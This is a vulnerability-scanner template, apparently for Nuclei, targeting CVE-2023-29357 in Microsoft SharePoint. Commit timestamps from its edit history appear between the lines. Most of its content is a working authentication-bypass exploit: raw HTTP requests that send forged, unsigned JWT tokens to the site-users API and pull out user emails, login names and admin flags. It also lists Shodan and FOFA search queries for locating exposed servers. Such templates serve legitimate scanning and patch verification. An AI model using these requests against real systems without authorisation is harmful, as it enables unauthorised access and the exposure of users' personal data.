2023-09-29 13:21:23 +00:00
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id: CVE-2023-29357
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info:
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name: Microsoft SharePoint - Authentication Bypass
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author: pdteam
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severity: critical
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description: |
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Microsoft SharePoint Server Elevation of Privilege Vulnerability
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reference:
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357
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- https://srcincite.io/advisories/src-2020-0022/
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- https://github.com/Chocapikk/CVE-2023-29357
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- https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/
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- https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-29357
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2023-10-16 10:55:14 +00:00
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epss-score: 0.76124
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epss-percentile: 0.97814
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2023-09-29 13:21:23 +00:00
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cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: microsoft
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product: sharepoint_server
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shodan-query: http.headers_hash:-1968878704
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2023-10-14 11:27:55 +00:00
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fofa-query: app="Microsoft-SharePoint"
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2023-09-29 13:21:23 +00:00
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tags: cve,cve2023,microsoft,sharepoint_server
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variables:
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client_id: "00000003-0000-0ff1-ce00-000000000000"
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http:
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- raw:
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- |
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GET /_api/web/siteusers HTTP/1.1
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Host: {{Hostname}}
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Authorization: Bearer
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- |
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GET /_api/web/siteusers HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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Authorization: Bearer {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
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X-PROOF_TOKEN: {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
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extractors:
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- type: regex
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part: header
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group: 1
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name: realm
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regex:
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- realm="([^"]*)"
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internal: true
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- type: json
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json:
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- .value[].Email
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matchers:
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- type: word
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2023-09-29 13:34:39 +00:00
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part: body_2
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2023-09-29 13:21:23 +00:00
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words:
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- LoginName
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- Email
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- IsSiteAdmin
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condition: and
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